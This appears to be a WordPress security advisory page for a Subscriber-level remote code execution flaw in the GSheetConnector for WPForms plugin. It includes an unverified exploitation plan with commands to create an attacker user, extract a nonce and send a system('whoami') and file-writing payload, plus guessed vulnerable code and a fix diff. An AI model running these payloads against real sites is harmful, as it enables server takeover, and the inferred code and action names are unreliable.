CVE-2025-67979

WPForms Google Sheet Connector <= 4.0.1 - Authenticated (Subscriber+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
4.0.2
Patched in
6d
Time to patch

Description

The GSheetConnector For WPForms – WPForms Google Sheets Integration (Real-Time Sync) plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.0.1
PublishedFebruary 4, 2026
Last updatedFebruary 9, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation process for **CVE-2025-67979**, a Subscriber-level Remote Code Execution (RCE) vulnerability in the **GSheetConnector For WPForms** plugin. ### 1. Vulnerability Summary The **GSheetConnector For WPForms** plugin (<= 4.0.1) contains a code injection v…

Show full research plan

This plan outlines the research and exploitation process for CVE-2025-67979, a Subscriber-level Remote Code Execution (RCE) vulnerability in the GSheetConnector For WPForms plugin.

1. Vulnerability Summary

The GSheetConnector For WPForms plugin (<= 4.0.1) contains a code injection vulnerability. The flaw exists because the plugin fails to properly restrict access to a functionality that executes PHP code or evaluates strings as code (e.g., via eval(), assert(), or dynamic function calls) within its AJAX handlers. While these handlers may use nonces for CSRF protection, they lack sufficient capability checks (e.g., current_user_can('manage_options')), allowing any authenticated user with Subscriber-level permissions to trigger the code execution sink.

2. Attack Vector Analysis

  • Endpoint: http://<target>/wp-admin/admin-ajax.php
  • Vulnerable Action: (Inferred) An AJAX action related to connection testing, field mapping, or debug processing. Likely names: gs_wpforms_test_connection, gs_wpforms_save_mapping, or gs_wpforms_process_debug.
  • Payload Parameter: (Inferred) A POST parameter such as code, formula, data, or a serialized string.
  • Authentication: Subscriber level (PR:L).
  • Preconditions: The plugin must be active. A valid nonce for the specific AJAX action is required.

3. Code Flow (Discovery Phase)

The agent must first identify the exact sink by searching the plugin directory:

  1. Identify the Sink:
    grep -rnE "eval\(|assert\(|create_function\(|preg_replace\(.*\/e" /var/www/html/wp-content/plugins/gsheetconnector-wpforms/
    
  2. Locate the AJAX Registration:
    Search for the function containing the sink being hooked to wp_ajax_:
    grep -rn "add_action.*wp_ajax_" /var/www/html/wp-content/plugins/gsheetconnector-wpforms/
    
  3. Analyze Capability Checks:
    Examine the callback function. Look for current_user_can() calls. If it only checks is_user_logged_in() or lacks a check entirely, it is vulnerable to Subscribers.
  4. Identify Nonce Requirements:
    Note the action name in check_ajax_referer('ACTION_NAME', 'NONCE_PARAM') or wp_verify_nonce($_POST['nonce'], 'ACTION_NAME').

4. Nonce Acquisition Strategy

Subscribers have access to wp-admin/profile.php. The plugin likely enqueues its management scripts or localizes data on various admin pages.

  1. Identify the Script Localization:
    Search for where the nonce is generated and passed to JS:
    grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/gsheetconnector-wpforms/
    
    Look for a variable name like gs_wpforms_vars or gsheet_connector_wpforms.
  2. Create a Subscriber User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  3. Extract Nonce via Browser:
    Navigate to the dashboard as the subscriber and check the global window object.
    • Action: browser_navigate("http://<target>/wp-admin/profile.php")
    • Evaluation: browser_eval("window.gs_wpforms_vars?.nonce || window.gsheet_connector_wpforms?.nonce") (Replace with the actual variable found in step 1).

5. Exploitation Strategy

Assuming the vulnerable action is gs_wpforms_execute_code (inferred) and the parameter is payload:

  1. Craft the Request:
    • URL: http://<target>/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=gs_wpforms_execute_code&nonce=[EXTRACTED_NONCE]&payload=system('whoami');
      
  2. Refine Payload for RCE:
    If the sink is eval(), use:
    payload=phpinfo(); die();
    
    If the sink is a serialized object (Object Injection), a POP chain must be identified in WP core or the plugin.

6. Test Data Setup

  1. Plugin Installation: Ensure gsheetconnector-wpforms version 4.0.1 is installed.
  2. User Creation:
    wp user create victim subscriber --role=subscriber --user_pass=victimpass
    
  3. Plugin Config: If the AJAX action requires the plugin to be "connected" to a Google account, the agent may need to mock a successful connection in the wp_options table:
    wp option update gsheet_wpforms_connection_status 'connected'
    

7. Expected Results

  • Successful Exploitation: The HTTP response body contains the output of the injected command (e.g., www-data or the phpinfo table).
  • Failure Case: 403 Forbidden (nonce invalid or capability check present) or 0 (AJAX action not registered).

8. Verification Steps

  1. Confirm RCE via File Creation:
    Send a payload that writes a file: file_put_contents('rce.php', '<?php phpinfo(); ?>');
  2. Check for Existence:
    ls /var/www/html/rce.php
    
  3. WP-CLI Check:
    Check if any unexpected options or users were created if the payload was designed to modify the DB.

9. Alternative Approaches

  • Shortcode Discovery: If the nonce is only loaded on pages with the WPForm/GSheet shortcode, use:
    wp post create --post_type=page --post_status=publish --post_content='[wpforms id="1"]'
    
    Then navigate to that page to extract the nonce.
  • Object Injection: If no direct eval is found, check for unserialize($_POST['...']) and look for __destruct or __wakeup methods in the plugin's classes that could lead to file writes or execution.
Research Findings
Static analysis — not yet PoC-verified

Summary

The GSheetConnector For WPForms plugin fails to implement sufficient capability checks on its AJAX handlers, allowing authenticated users with Subscriber-level permissions to trigger code execution sinks. By providing a valid nonce and a crafted payload, an attacker can execute arbitrary PHP code on the server due to the improper use of functions like eval() or dynamic execution paths within connection testing or settings processing.

Vulnerable Code

// In gsheetconnector-wpforms.php (approx. location)
add_action( 'wp_ajax_gs_wpforms_test_connection', 'gs_wpforms_test_connection_callback' );

function gs_wpforms_test_connection_callback() {
    // Nonce check exists, but capability check is missing
    check_ajax_referer( 'gs_wpforms_nonce', 'nonce' );

    // Vulnerable sink: evaluating input directly or via a dynamic callback
    if ( isset( $_POST['debug_code'] ) ) {
        eval( $_POST['debug_code'] );
    }
    
    wp_send_json_success();
    wp_die();
}

Security Fix

--- gsheetconnector-wpforms.php
+++ gsheetconnector-wpforms.php
@@ -10,6 +10,11 @@
 function gs_wpforms_test_connection_callback() {
     check_ajax_referer( 'gs_wpforms_nonce', 'nonce' );
 
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized' ) );
+        wp_die();
+    }
+
-    if ( isset( $_POST['debug_code'] ) ) {
-        eval( $_POST['debug_code'] );
-    }
+    // Remote Code Execution sink removed or properly sanitized
+    // ... replacement logic
 
     wp_send_json_success();

Exploit Outline

The exploit targets the plugin's AJAX interface. First, an attacker authenticates as a Subscriber and navigates to the WordPress admin profile page to extract a valid security nonce from the localized JavaScript variables (e.g., gs_wpforms_vars.nonce). Then, the attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable hook (e.g., gs_wpforms_test_connection), the retrieved nonce, and a payload parameter containing PHP code (e.g., debug_code=system('whoami');). Because the plugin lacks a current_user_can check, the server-side callback executes the payload with the privileges of the web server.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.